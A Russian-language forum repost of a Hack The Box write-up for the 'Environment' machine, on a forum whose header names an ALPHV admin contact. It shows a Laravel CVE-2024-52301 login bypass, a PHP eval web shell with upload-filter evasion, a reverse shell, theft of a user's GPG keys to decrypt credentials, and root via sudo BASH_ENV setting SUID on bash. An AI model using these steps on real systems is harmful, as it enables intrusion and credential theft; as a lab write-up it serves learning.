• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Манипулируем переменными окружения при атаке на Linux

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,335
Розыгрыши
0
Реакции
627
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как можно повысить привилегии в Linux, используя настройку env_keep для sudo. Чтобы подобраться к ОС, нам сначала понадобится проэксплуатировать баг CVE-2024-52301 во фреймворке Laravel, обойти авторизацию и через функцию загрузки файла добавить веб‑шелл.
Наша конечная цель — получение прав суперпользователя на машине Environment с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.67 environment.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 9.2p1;
  • 80 — веб‑сервер Nginx 1.22.1.
Область тестирования маленькая, сразу просмотрим сайт.

Главная страница сайта

Точка входа​

На сайте ничего интересного найти не удалось, поэтому приступим к сканированию сайта с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -d — глубина сканирования;
  • -t — количество потоков;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся).
Задаем все нужные параметры и запускаем:

feroxbuster -u [URL]http://environment.htb/[/URL] -d 1 -t 128 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью feroxbuster
Находим страницу авторизации /login и еще несколько интересных эндпоинтов, которые без авторизации недоступны.

Содержимое страницы login
Попробуем авторизоваться с любыми учетными данными и просмотрим запрос в Burp Proxy. По названию сессионной куки определяем, что используется движок Laravel.

Запрос в Burp Proxy
Версию Laravel (11.30.0) и PHP находим на странице /mailing.

Содержимое страницы mailing
Первым делом стоит проверить, есть ли для этой версии CMS готовые эксплоиты. Как обычно, хватает запроса к Google.

Поиск эксплоитов в Google
Так мы узнаём о Для просмотра ссылки Войди или Зарегистрируйся. Эта уязвимость позволяет в запросе указать значение переменной среды при активной директиве register_argc_argv. Пока неясно, как это может нам помочь.

Вернемся к запросу авторизации и поиграем с параметрами. При изменении параметра remember мы получим отладочный лог Laravel, в котором есть интересный блок исходного кода.

Запрос авторизации и ответ сервера

Если установлена переменная среды preprod, то мы автоматически будем залогинены как администратор Laravel. Как раз тут и пригодится Для просмотра ссылки Войди или Зарегистрируйся, с помощью которой в запросе авторизации устанавливаем переменную среды preprod. Для эксплуатации уязвимости перехватываем запрос к странице login и добавляем ?--env=preprod.

Запрос авторизации

Главная страница сайта

В итоге получаем доступ от имени авторизованного пользователя. В профиле можно загружать файлы на сервер, скорее всего, в этом и есть следующий шаг.

Страница Profile

Точка опоры​

Попробуем загрузить шелл <?php eval($_GET["c"]);?>, но получим ошибку.

Ошибка загрузки файла

Перейдем в Burp Repeater и изменим расширение файла на картинку. Так мы поэтапно проверим, что именно фильтруется сервером. Меняем расширение на jpeg, а Content-Type — на image/jpeg, но все равно получаем ту же ошибку.

Запрос на сервер

Теперь добавим к содержимому файла JPEG заголовок GIF89a и повторим запрос. В этот раз файл успешно загружен.

Запрос на сервер

Оставляем заголовок и возвращаем расширение файла .php. В этом случае опять получаем ошибку. Значит, сервер проверяет и расширение файла, и его содержимое.

Запрос на сервер

Проверим несколько расширений, которые могут помочь нам выполнить код PHP, и в итоге остановимся на .php., при котором и загрузка успешна, и файл сохраняется без последней точки.

Запрос на сервер

Выполняем запрос к файлу и пробуем выполнить команду id.

[URL unfurl="true"]http://environment.htb/storage/files/cmd.php?c=id[/URL]
Результат выполнения команды id

На сайте Для просмотра ссылки Войди или Зарегистрируйся генерируем реверс‑шелл.

Reverse Shells Generator
Теперь запускаем листенер:

pwncat-cs -lp 4321
И через веб‑шелл выполним реверс‑шелл на Python. Так получаем сессию от имени www-data.

Сессия www-data

Продвижение​

Теперь нам необходимо собрать информацию. Я, как обычно, буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Видим, что он нашел доступный файл GPG, который был изменен за последние пять минут.

Список недавно измененных файлов
А еще нам доступен домашний каталог пользователя hish, включая каталог .gnupg с ключевой информацией GPG.

Содержимое каталога .gnupg

Скопируем всю ключевую информацию пользователя в отдельный каталог, назначим себя ее владельцем и проверим доступные ключи.

Код:
cp -r /home/hish/.gnupg /tmp/r
chmod -R 700 /tmp/r
gpg --homedir /tmp/r --list-secret-keys

Проверка ключей

Нам доступен ключ пользователя hish, а значит, мы можем расшифровать найденный ранее файл.

gpg --homedir /tmp/r --output /tmp/r/data --decrypt /home/hish/backup/keyvault.gpg
Содержимое файла

В файле находим учетные данные, которые подходят к аккаунту в системе. Логинимся от имени hish и забираем первый флаг.

Флаг пользователя

Локальное повышение привилегий​

Разведку на хосте уже проводили, а со сменой контекста работы в Linux мало что меняется, но все же некоторые места нужно проверить заново. Первое из таких мест — настройки sudoers.

sudo -l
Настройки sudoers

Наш пользователь может выполнить /usr/bin/systeminfo от имени пользователя root. Это нам никак не поможет. Но есть кое‑что интересное: настройка env_keep, благодаря которой sudo подставит в команду переменную окружения ENV BASH_ENV. Сохраним в переменную окружения скрипт, который при запуске systeminfo установит S-бит на файл командной оболочки /bin/bash.

Код:
echo 'chmod u+s /bin/bash' > env.sh
chmod +x env.sh
sudo BASH_ENV=./env.sh /usr/bin/systeminfo
Эксплуатация sudo

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Проверяем права на файл /bin/bash и видим установленный SUID.

Права на файл bash
/bin/bash -p
Флаг рута

Мы можем выполнять команды от имени root, а значит, машина захвачена!
 
Activity
So far there's no one here